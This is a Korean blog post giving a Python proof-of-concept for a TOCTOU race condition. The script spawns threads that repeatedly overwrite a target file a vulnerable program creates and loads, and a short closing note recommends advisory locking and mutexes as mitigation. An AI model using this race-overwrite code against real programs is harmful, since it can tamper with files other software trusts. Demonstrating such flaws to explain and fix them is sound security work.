Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- AndroidOS
- web
- csaw
- 해킹문제
- basic4
- webhacking.kr문제풀이
- 바이러스
- 코로나바이러스
- 파이썬
- vscode
- jango
- rev-basic-4
- 모세포
- dreamhack
- reversing
- csaw 2018
- rev-basic-6
- 백준
- 장고vscode
- Django
- 취약점점검
- 파이썬웹
- 웹해킹
- 코로나
- 해커
- 장고
- 리버싱
- djangovscode
- rev-basic-3
- 해킹
Archives
- Today
- Total
Kilkat
TOCTOU PoC 본문
import os
import threading
def attack_file(directory, filename, counter, limit):
filepath = os.path.join(directory, filename)
malicious_content = "test"
while True:
if os.path.exists(filepath):
try:
with open(filepath, "w") as f:
f.write(malicious_content)
with counter.get_lock():
counter.value += 1
print(f"[DEBUG] Overwrite count: {counter.value}")
if counter.value >= limit:
break
print(f"[ATTACK] Overwritten file: {filepath}")
except Exception as e:
print(f"[ERROR] Could not overwrite {filepath}: {e}")
def toctou_attack(directory, filename, threads, limit):
if not os.path.exists(directory):
os.makedirs(directory)
from multiprocessing import Value
counter = Value('i', 0)
attack_threads = []
for _ in range(threads):
t = threading.Thread(target=attack_file, args=(directory, filename, counter, limit))
attack_threads.append(t)
t.start()
for t in attack_threads:
t.join()
if __name__ == "__main__":
directory = input("(string)dir path: ").strip()
filename = input("(string)file name: ").strip()
threads = int(input("(int)threads operations: ").strip())
limit = int(input("(int)overwrites limit: ").strip())
toctou_attack(
directory=directory,
filename=filename,
threads=threads,
limit=limit
)
특정 취약 프로그램에서 파일 생성 및 로드시 시도할 수 있는 TOCTOU PoC 코드임
취약 프로그램이 생성 및 로드하는 공유 자원에 대한 다른 스레드가 접근이 가능한 경우 TOCTOU 트리거가 가능함
Advisory Locking, Mutex 등을 사용하여 동시성을 제어하는 방법이 도움이 될수 있음
'Programming > python' 카테고리의 다른 글
백준 4344번 python (0) | 2021.03.17 |
---|---|
백준 2941번 python (0) | 2021.03.17 |
백준 2741번 python (0) | 2021.03.17 |
백준 2577번 python (0) | 2021.03.17 |
백준 2446번 python (0) | 2021.03.17 |
Comments